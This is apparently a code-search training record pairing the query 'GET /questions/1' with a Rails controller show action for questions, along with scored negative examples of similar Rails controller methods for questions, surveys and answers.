[ "0.7794564", "0.73259246", "0.731576", "0.731576", "0.72694147", "0.7214117", "0.7088722", "0.7088722", "0.7073693", "0.7052707", "0.6934596", "0.6934596", "0.69045067", "0.68818015", "0.68818015", "0.68818015", "0.68818015", "0.68818015", "0.68818015", "0.68818015", "0.6868948", "0.6868948", "0.6868948", "0.6722275", "0.6667246", "0.6654833", "0.662851", "0.661522", "0.65301013", "0.6522308", "0.6479268", "0.6472618", "0.6472618", "0.6450053", "0.64428943", "0.6438058", "0.6427014", "0.6424859", "0.63914037", "0.63876116", "0.6380432", "0.6379463", "0.6379463", "0.63793147", "0.6363521", "0.6351386", "0.634405", "0.6332042", "0.6324785", "0.6308237", "0.628755", "0.628755", "0.628755", "0.628755", "0.628755", "0.62798893", "0.62744474", "0.6274135", "0.62676114", "0.62655115", "0.62432945", "0.62428325", "0.624214", "0.6224148", "0.62184703", "0.62170434", "0.62026864", "0.6201265", "0.6198963", "0.61891085", "0.61891085", "0.61858684", "0.61858684", "0.61858684", "0.61858684", "0.61858684", "0.61858684", "0.61858684", "0.61858684", "0.61858684", "0.61858684", "0.61858684", "0.61858684", "0.61858684", "0.61858684", "0.61858684", "0.61858684", "0.61858684", "0.61858684", "0.61858684", "0.6180299", "0.61765856", "0.6164356", "0.61636555", "0.616257", "0.616257", "0.616257", "0.6158356", "0.61454177", "0.6127683" ]
0.6905637
12
GET /questions/1 GET /questions/1.xml
def show @question = Question.find(params[:id]) check_forged_path respond_to do |format| format.html # show.rhtml format.json { render :json => @question.to_json } format.xml { render :xml => @question.to_xml(:methods => [:purpose]) } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def questions\n self.class.get(\"/2.2/questions\", @options)\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html\n format.xml {render :xml => @question}\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html\n format.xml {render :xml => @question}\n end\n end", "def index\n @questions = @page.questions.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end", "def index\n @questions = Question.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end", "def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end", "def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @question }\n end\n end", "def index\n @questions = @quiz.questions.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n\t@question = Question.find(params[:id])\n\n\trespond_to do |format|\n\t format.html # show.html.erb\n\t format.xml { render :xml => @question }\n\tend\n end", "def show\n\t@question = Question.find(params[:id])\n\n\trespond_to do |format|\n\t format.html # show.html.erb\n\t format.xml { render :xml => @question }\n\tend\n end", "def show\n @question = Question.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def index\n \n # @questions = Question.all\n\n # respond_to do |format|\n # format.html # index.html.erb\n # format.xml { render :xml => @questions }\n #end\n \n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def index\n @user_questions = UserQuestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_questions }\n end\n end", "def index\n @questions = Question.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.json { render :text => @questions.to_json }\n format.xml { render :xml => @questions.to_xml }\n end\n end", "def show\n @survey_question = SurveyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @survey_question }\n end\n end", "def show\n respond_to do |wants|\n wants.html # show.html.erb\n wants.xml { render :xml => @question }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questionnaire }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questionnaire }\n end\n end", "def show\n @user_question = UserQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_question }\n end\n end", "def show\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @quest }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questionnaires }\n end\n end", "def show\n @question_topic = QuestionTopic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question_topic }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @question }\n end\n end", "def show\n @questionform_question = QuestionformQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questionform_question }\n end\n end", "def show\n @questionform_question = QuestionformQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questionform_question }\n end\n end", "def show\n @question_requirement = QuestionRequirement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question_requirement }\n end\n end", "def show\n @question = Question.find(params[:id])\n @course = @question.course\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @question_attribute = QuestionAttribute.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question_attribute }\n end\n end", "def get_questions\n items = get_items\n make_response(HttpStatus::OK, make_result_list(items))\nend", "def show\n @survey = Survey.find(params[:id], :include => :questions)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @survey }\n end\n end", "def show\n @answer = @question.answers.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @answer }\n end\n end", "def index\n @answers = @question.answers.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end", "def index\n @questionnaires = Questionnaire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questionnaires }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @faq = Faq.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @faq }\n end\n end", "def show\n @questions = Question.find(params[:id])\n end", "def new\n @question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def show\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :xml => @qa.to_json(:include => [:answer, :question]) }\n end\n end", "def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @survey }\n end\n end", "def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @survey }\n end\n end", "def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @survey }\n end\n end", "def show\n @survey = Survey.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @survey }\n end\n end", "def show\n @survey = Survey.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @survey }\n end\n end", "def show\n @answer = Answer.new\n respond_to do |format|\n format.html {render} # render questions/show.html.erb\n format.json {render json: @question.to_json}\n format.xml {render xml: @question.to_xml}\n end\n end", "def index\n @options = @question.options.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @options }\n end\n end", "def faq\n respond_to do |format|\n format.html # faq.html.erb\n format.xml { render :xml => nil }\n end\n end", "def index\n @course = Course.find(params[:course_id])\n @questions = @course.questions.current.due + @course.questions.current.pending.find(:all, :order => :next_datetime, :limit => 200)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end", "def show\n @cc_question = CcQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cc_question }\n end\n end", "def show\n @questao = Questao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questao }\n end\n end", "def show\n @question = current_node.questions.find(params[:id])\n @question.viewed!(request.remote_ip)\n @answers = (@question.answers.page params[:page]).order_by(current_order)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def index\n @questions = @keyword.question_sheet.elements\n @predefined = QuestionSheet.find(APP_CONFIG['predefined_question_sheet'])\n respond_to do |wants|\n wants.html # index.html.erb\n wants.xml { render :xml => @questions }\n end\n end", "def show\n\t @question = Question.find(params[:id])\n\t\t@nodes = Node.includes(:node_question_relations).where('node_question_relations.question_id = ?', @question).references(:node_question_relations).paginate(page: params[:page], per_page: 20).order('content ASC') \n\n\t respond_to do |format|\n\t format.html # show.html.erb\n\t format.xml { render :xml => @question }\n\t end\n\tend", "def show\n @survey_answer = SurveyAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @survey_answer }\n end\n end", "def index\n @api_v1_questions = Api::V1::Question.all\n end", "def show\n @question_option = QuestionOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question_option }\n end\n end", "def index\n @meta = '<META NAME=\"ROBOTS\" CONTENT=\"NOINDEX, NOFOLLOW\">'\n @questions = Question.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end", "def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @questions }\n end\n end", "def get_question_list\n json= RestClient.get(\"http://localhost:3000/questions\")\n JSON.parse(json)\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @question }\n end\n end", "def index\n find_questions\n end", "def show\n @site_profile_question = SiteProfileQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @site_profile_question }\n end\n end", "def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @answer.to_xml }\n end\n end", "def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @answer }\n end\n end", "def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @answer }\n end\n end", "def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @answer }\n end\n end", "def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @answer }\n end\n end", "def fetch_question(uri)\n request = HTTParty.get(uri)\n response = JSON.parse(request.body).first\n question = response[\"question\"]\n if validate_question(question)\n response = \"Surprise Round! Instead of the question you were expecting, we'll ask you this. \\n\"\n new_uri = gather_uri()\n response += fetch_question(new_uri)\n end\n response = sanitize_question_response(response)\n response\nend", "def show\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @qa }\n end\n end", "def check_questions\n response = Request.get_request(URL_QUESTION)\n questions = []\n if response.success?\n data = Request.manage_response(response)\n end\n data.each do |question|\n questions << Question.new(question)\n end\n questions\nend", "def new\n @question_topic = QuestionTopic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question_topic }\n end\n end", "def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end", "def index\n @responses = @survey.responses.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @responses }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def show\n @question = Question.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question }\n end\n end", "def new\n\t@question = Question.new\n\n\n\trespond_to do |format|\n\t format.html # new.html.erb\n\t format.xml { render :xml => @question }\n\tend\n end", "def new\n \t@question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n format.json { render :json => @question}\n end\n end", "def show\n @howto = Howto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @howto }\n end\n end", "def new\n @survey_question = SurveyQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @survey_question }\n end\n end", "def index\n @answers = Answer.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end", "def new\n @user_question = UserQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_question }\n end\n end", "def questions\n @response = self.class.get(\"/data/2.5/forecast\", @options)\n end", "def show\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_question }\n end\n end" ]
[ "0.72167146", "0.7153202", "0.7153202", "0.71331936", "0.71194386", "0.7106134", "0.7106134", "0.709688", "0.7020762", "0.68922824", "0.68922824", "0.68922824", "0.68922824", "0.68922824", "0.68922824", "0.68922824", "0.6871651", "0.6871651", "0.6869192", "0.6869192", "0.6869192", "0.6847173", "0.6696538", "0.6656909", "0.6596304", "0.6572877", "0.65681195", "0.65013033", "0.65013033", "0.64774805", "0.64719653", "0.64631426", "0.6458232", "0.64534086", "0.64422244", "0.64422244", "0.6378115", "0.6362137", "0.63551563", "0.6312382", "0.63112205", "0.6300189", "0.6293065", "0.6291437", "0.62601215", "0.62601215", "0.62601215", "0.62601215", "0.62601215", "0.6255753", "0.62409264", "0.6232592", "0.6230066", "0.62181956", "0.62181956", "0.62181956", "0.62181956", "0.6193817", "0.6192426", "0.6173621", "0.61681557", "0.6143787", "0.6142114", "0.6136715", "0.6131749", "0.61302555", "0.6127893", "0.6122089", "0.61199784", "0.6098756", "0.60965407", "0.6053548", "0.60432285", "0.6036466", "0.6036466", "0.6030839", "0.6025782", "0.60234314", "0.6018846", "0.6018846", "0.6018846", "0.6018846", "0.6013857", "0.6013139", "0.600893", "0.6005788", "0.60027087", "0.6002", "0.5999711", "0.59989226", "0.59989226", "0.59989226", "0.5998233", "0.59977484", "0.599424", "0.59909225", "0.5975727", "0.5965908", "0.5952284", "0.59491336" ]
0.66178304
24
POST /questions POST /questions.xml
def create purpose = params[:question].delete(:purpose) @question = Question.new(params[:question]) @question.caption ||= "" @question.page = @page respond_to do |format| if @question.save and @question.update_attribute(:type, params[:question][:type]) if purpose SpecialFieldAssociation.create :question => @question, :purpose => purpose, :questionnaire => @questionnaire end @question = Question.find(@question.id) if @question.kind_of? Questions::Field and @question.caption.blank? # get the default field caption in @question.caption = "Pulse aqu’ para escribir una pregunta" @question.save end format.html { redirect_to question_url(@question) } format.xml { head(:created, :location => question_url(@questionnaire, @page, @question, :format => 'xml')) } format.json { head(:created, :location => question_url(@questionnaire, @page, @question, :format => 'json')) } else format.html { render :action => "new" } format.xml { render :xml => @question.errors.to_xml, :status => 500 } format.json { render :json => @question.errors.to_json, :status => 500 } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def question(data)\n xml = xml_root(\"questions\")\n\n arrayed(data).each do |name|\n xml.root << (XML::Node.new(\"question\") << name)\n end\n\n send_and_process('questions/add', 'questions/question', xml)\n end", "def create\n\t@question = Question.new(params[:question])\n\n\n\trespond_to do |format|\n\t if @question.save\n\t\tformat.html { redirect_to(@question, :notice => 'Question was successfully created.') }\n\t\tformat.xml { render :xml => @question, :status => :created, :location => @question }\n\t else\n\t\tformat.html { render :action => \"new\" }\n\t\tformat.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n\t end\n\tend\n end", "def create\n @question = Question.new(params[:question])\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to(new_question_path, :notice => 'Question was successfully created.') }\n format.xml { render :xml => @question, :status => :created, :location => @question }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @question = @quiz.questions.new(params[:question])\n\n respond_to do |format|\n @question.save\n if @question.errors.blank?\n flash[:notice] = 'Question was successfully created.'\n format.html { redirect_to(quiz_questions_path(@quiz)) }\n format.xml { render :xml => @question, :status => :created, :location => @question }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(params[:question])\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to(@question, :notice => 'Question was successfully created.') }\n format.xml { render :xml => @question, :status => :created, :location => @question }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(params[:question])\n respond_to do |format|\n if @question.save\n flash[:notice] = 'Question was successfully created.'\n format.html { redirect_to(@question) }\n format.xml { render :xml => @question, :status => :created, :location => @question }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @question = @user.questions.build(params[:question])\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to(@question) }\n format.xml { render :xml => @question,\n :status => :created,\n :location => @question }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @question.errors,\n :status => :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(params[:question])\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to api_v1_question_path(@question), notice: 'Question was successfully created.' }\n format.json { render json: @question, status: :created, location: @question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def question_params\n params.require(:question).permit(:title, :body)\n #require returns question array\n #of everything being posted, work with the questions part, and allow these two things to be submitted\n end", "def create\n @question = @page.questions.new(params[:question])\n\n respond_to do |format|\n if @question.save\n flash[:notice] = 'Your question was successfully created. Now you can fill in additional details.'\n format.html { redirect_to edit_offering_page_question_url(@offering, @page, @question, :anchor => 'validation') }\n format.xml { render :xml => @question, :status => :created, :location => @question }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @survey_question = SurveyQuestion.new(params[:survey_question])\n\n respond_to do |format|\n if @survey_question.save\n format.html { redirect_to(:@survey_question, :notice => 'Survey question was successfully created.') }\n format.xml { render :xml => @survey_question, :status => :created, :location => @survey_question }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @survey_question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n @survey = Survey.new(json)\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @test_question = TestQuestion.new(params[:test_question])\n\n respond_to do |format|\n if @test_question.save\n format.html { redirect_to @test_question, :notice => 'Test question was successfully created.' }\n format.json { render :json => @test_question, :status => :created, :location => @test_question }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @test_question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n #@question = Question.new(params[:question])\n #@question.node = current_node\n @question.user_id = current_user.id\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: t('alert.question.create_success', default: 'Question was successfully created.') }\n format.json { render json: @question, status: :created, location: @question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def questions\n self.class.get(\"/2.2/questions\", @options)\n end", "def create\n @test_question = TestQuestion.new(test_question_params)\n\n respond_to do |format|\n if @test_question.save\n format.html { redirect_to @test_question, notice: 'Test question was successfully created.' }\n format.json { render :show, status: :created, location: @test_question }\n else\n format.html { render :new }\n format.json { render json: @test_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @test_question = TestQuestion.new(test_question_params)\n\n respond_to do |format|\n if @test_question.save\n format.html { redirect_to @test_question, notice: 'Test question was successfully created.' }\n format.json { render :show, status: :created, location: @test_question }\n else\n format.html { render :new }\n format.json { render json: @test_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(question_params)\n\n if @question.save\n render json: @question\n else\n render status: 400, nothing: true\n end\n end", "def create\n @question = current_user.questions.build(params[:question])\n respond_to do |format|\n if @question.save\n format.html { redirect_to(@question, :notice => 'Question was successfully created.') }\n format.xml { render :xml => @question, :status => :created, :location => @question }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @question }\n end\n end", "def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to questions_path, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: NoticeMessages::SUCCESS_CREATE_QUESTION }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: \"Question was successfully created.\" }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(params[:question])\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render json: @question, status: :created, location: @question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user_question = UserQuestion.new(params[:user_question])\n\n respond_to do |format|\n if @user_question.save\n flash[:notice] = 'UserQuestion was successfully created.'\n format.html { redirect_to(@user_question) }\n format.xml { render :xml => @user_question, :status => :created, :location => @user_question }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(params[:question])\n @question.dialogue = 0\n @question.participant = current_user.participant\n @question.status = Question.status_new\n respond_to do |format|\n if @question.save\n format.html { redirect_to(@question, :notice => 'Question was successfully created.') }\n format.xml { render :xml => @question, :status => :created, :location => @question }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n #before_action :set_tag\n #ログインしているユーザーが質問を作る\n @question = current_user.questions.build(question_params)\n # respond_to: リクエストされるフォーマットがHTML形式の場合とJSON形式の場合で処理を分けることができる\n respond_to do |format|\n if @question.save\n # TODO: 経験値機能の処理\n # current_user.get_exp(10)\n # current_user.check_level_up\n format.html { redirect_to @question, notice: \"質問を投稿しました\" }\n format.json { render :show, status: :created, location: @question }\n else\n #savaできなかった場合\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def question_params\n params.require(:question).permit(:title, topic_ids: [], answers_attributes: [:id, :content, :is_correct])\n end", "def create\n @question = SurveyQuestion.new(question_params)\n if @question.save\n render json: @question\n else\n render json: @question.errors.full_messages.join(\", \"), status: :unprocessable_entity\n end\n end", "def question_params\n params.require(:question).permit(:question, :answer)\n end", "def question_params\n params.require(:question).permit(:question, :answer)\n end", "def create\n @question = Question.new(question_params)\n respond_to do |format|\n if @question.save\n # format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render json: @question, status: :created, location: @question }\n else\n # format.html { render :new }\n format.json { render json: @question.errors, status: :bad_request }\n end\n end\n end", "def question_params\n params.require(:question).permit(:question, :name, :email)\n end", "def question_params\n params.require(:question).permit(:question)\n end", "def handle_post(body)\n make_response(200, validate_questions(body))\nend", "def create\n @qa = Qa.new(params[:qa])\n\n respond_to do |format|\n if @qa.save\n flash[:notice] = 'Thanks for submitting your question. Check the archives later for Carl\\'s answer!'\n format.html { 